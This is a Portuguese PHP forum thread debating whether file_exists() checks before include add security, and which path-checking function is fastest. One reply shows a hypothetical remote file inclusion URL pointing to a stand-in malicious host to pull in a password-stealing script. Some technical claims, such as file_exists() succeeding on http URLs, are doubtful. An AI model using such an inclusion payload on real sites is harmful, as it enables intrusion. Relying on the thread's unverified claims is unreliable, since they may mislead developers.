Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Já programo em PHP a alguns anos e hoje um amigo me levantou uma questão a qual não encontro resposta.
Ele diz que todo include deve antes ser verificado com a função "file_exists()" do php para evitar problemas de segurança, porém ele não soube argumentar do porque.
Veja o exemplo que ele me deu.
Código Seguro
<html>
[indent]<body>
[indent]<?php if(file_exists("inc_topo.php")) { require_once("inc_topo.php"); } ?>
<?php if(file_exists("inc_noticias.php")) { require_once("inc_noticias.php"); } ?>
<?php if(file_exists("inc_rodape.php")) { require_once("inc_rodape.php"); } ?>[/indent]
</body>[/indent]
</html>
Código com brechas de segurança
<html>
[indent]<body>
[indent]<?php require_once("inc_topo.php"); ?>
<?php require_once("inc_noticias.php"); ?>
<?php require_once("inc_rodape.php"); ?>[/indent]
</body>[/indent]
</html>
Alguém já teve esta dúvida?
A primeira pergunta que deve responder é: "Que tipo de segurança utilizar isso vai aumentar?"
Veja bem, a função nada mais vai fazer que verificar se o arquivo existe ou não.
A única segurança que ele vai te dar, é evitar que um erro seja executado quando o arquivo não existe.
Veja nesse exemplo. Imagine que todos os arquivos que são incluídos no seu site sejam passados por url.
Url:
'http://meusite.com.br/file=noticias.php'
Um usuário malicioso vai lá, e insere um arquivo para obter acesso, ou informações de acesso, privilegiado em seu servidor.
Url (exemplo hipotético):
'http://meusite.com.br/file=http://sitemalicioso.com.br/obterSenhas.php'
Seu código, então, irá verificar se o arquivo existe:
file_exists('http://sitemalicioso.com.br/obterSenhas.php');
E o retorno será true. Pois o arquivo realmente existe. A segurança obtida, nesse caso, foi zero.
Agora, por outro lado. Servidores windows são excelentes complicadores das funções require/include. Por causa dele, deve-se utilizar os caminhos absolutos para as funções citadas. Logo, utilizando a função file_exists() pode lhe resolver uma boa dor de cabeça quanto ao servidor se perder "resolvendo" os caminhos.
A segurança é relativa ao que você necessita.
essa função serve se você usar corretamente.
supor que todas suas pagina estejam em uma pasta, "pagina"
você faz a verificação assim.
$pagina = 'teste.php';//primeiro
$pagina = 'http://sitemalicioso.com.br/obterSenhas.php';//segundo
if(file_exists('pagina/'.$pagina)){include 'pagina/'.$pagina;}
o primeiro vai passar.
mas o segunda não vai porque não existe o arquivo: http://meusite.com.br/file=http://sitemalicioso.com.br/obterSenhas.php
dendro da pagina = "paginas"
Galera, muito obrigado pelas respostas.
No fim concluí que problemas com segurança não terá algum.
A única coisa que será evitado é que exiba erro na tela caso o arquivo não exista.
Pensando que só colocamos no ar o site depois de estar rodando 100%, não é para faltar nenhum arquivo certo?
Dando continuidade a esta pergunta, segue a seguinte.
Digamos que irei usar o file_exists() em todos os meus includes, certo?
Isso não poderia gerar um problema?
Pense em um site que recebe milhares de visitas por dia e a página inicial tenha 10 includes onde todos tenham uma verificação "file_exists()".
Esta função não consumiria recursos desnecessário do servidor visto que o arquivo obrigatoriamente tem que existir?
Existe sim uma pequena proteção indiretamente garantida por file_exists().
Você só usaria essa função num teste condicional. Mesmo que viesse a ecoar o resultado do teste, apenas TRUE/FALSE ou 1/"nada" seria mostrado, o que de nada adianta para quem ver.
Agora, se não usar testar se o arquivo existe ou não, dependendo das configurações do nível de reporte de erro e visibilidade dos mesmos, ao incluir/requerer um arquivo sem verificar sua existência, aparecerá o erro na tela.
E daí?
Daí que dentre as informações mostrada pelo erro tem-se o path que se está buscando o arquivo. Alguém realmente disposto a invadir seu site e com conhecimento para tanto já não precisaria descobrir quais nomes de diretório acessar.
A parcela de visitantes que usufruiria de tal vulnerabilidade seria baixa? Sim, seria. Mas é algo a se pensar. :thumbsup:
Quanto a sua outra pergunta, stream_resolve_include_path() pode, dependendo da aplicação, ser duas vezes mais rápida que file_exists()
Bruno, entendi a questão de exibir o "path" e realmente é algo a se pensar e avaliar.
Porém o ponto que insisto é que a aplicação não pode ir para o ar faltando algum arquivo e vejo que acaba sendo feito verificações constantes desnecessárias sendo que o arquivo está no servidor entende.
Exemplo: O "Arquivo01.php" existe e hoje recebi 10mil visitas no meu site.
Concluindo, foram feitas 10mil verificações se o "Arquivo01.php" existe sendo que ele existia.
Agora quanto ao "stream_resolve_include_path()" qual é a diferença dele e do "file_exists()" ?
Eles fazem exatamente a mesma coisa?
>
Bruno, entendi a questão de exibir o "path" e realmente é algo a se pensar e avaliar.
Porém o ponto que insisto é que a aplicação não pode ir para o ar faltando algum arquivo e vejo que acaba sendo feito verificações constantes desnecessárias sendo que o arquivo está no servidor entende.
Mas e se o include/require ou até mesmo qualquer outra função for operar sobre um arquivo de cujo nome seja criado dinamicamente?
Vamos imaginar um sistema de cache. Normalmente, ao se acessar uma página de um sistema cacheado, busca-se pelo tal arquivo de cache e, se encontrar, o inclui.
Mas na primeira utilização o tal arquivo não existe pois ainda será criado e, nesse caso, um include/require vai mostrar o que eu citei.
Ou então, imagina que você suba os arquivos com todos os arquivos de cache (improvável, mas possível). Um bom sistema de ccache sempre inclui um TTL para que o cache seja recriado um certo tempo depois.
Imagina o Usuário A acessando a página com o cache e o usuário B que acessa a mesma página depois de TTL ter sido alcançado? O primeiro não verá nada, mas o segundo verá o erro, pois o arquivo expirou e foi excluído.
Claro que são apenas hipóteses, um sistema em procução não deve mostrar nenhum erro ao usuário. Deve sim, registrar os logs no servidor para o Administrador analisar, mas isso são outros quinhentos.
>
Agora quanto ao "stream_resolve_include_path()" qual é a diferença dele e do "file_exists()" ?
Eles fazem exatamente a mesma coisa?
file_exists() além de resolver o path verificará se o arquivo existe. Se você tiver um include_path um pouco mais "gordinho", talvez por comodidade de um sistema MVC, essa busca poderá demorar.
Já stream_resolve_include_path() faz só a primeira etapa o que garante um ganho de velocidade significativo, compensando a deficiência nativo do servdiro sobre o sistema operacional.
Ainda mais para um sistema todo Orientado a Objetos onde existem dezenas de classes e interfaces.
Dica: invés de file_exists, utilize is_file.
>
Dica: invés de file_exists, utilize is_file.
Agora fiquei na dúvida o que é melhor, mais rápido, mais seguro, etc?
Será que existem outras opções além dessas?
Bom vou entrar na conversa, sobre segurança:
A segurança em não mostrar o nome do arquivo e pastas, sobre velocidade dos dois ficou com stream_resolve_include_path(), mas a questão de velocidade vai depender da aplicação, não vejo como um grande diferencial sobre esta funções.
Vejo elas como a seguinte frase "Ganhei um tapa na cara e disse que era no ouvido!".
A não ser que me provem ao contrario, em velocidade stream_resolve_include_path()é mais veloz e o resto é menos veloz, mas isso para aplicações pequenas é uma discursório fútil, e olha que eu me apego a cada função que ninguém aqui gosta de ajudar... kkkkkkkk
Galera, agradeço a colaboração de todos referente a este assunto e concluo o seguinte.
É necessário sim verificar a existência do arquivo pelas questões de segurança listadas neste tópico.
Quanto a função a se usar, por mais que não seja um sistema robusto, fico com "stream_resolve_include_path()" por ser mais rápido do as demais e fazer o que necessito.
Obrigado a todos, o Fórum Imasters é o melhor!
segurança não, o transtorno de não verificar se o arquivo existe pode influenciar se acontecer algum erro e o arquivo se apague troque o nome ou coisas parecidas e quando acessar o site vai dar um erro de include mais não vejo onde erra na segurança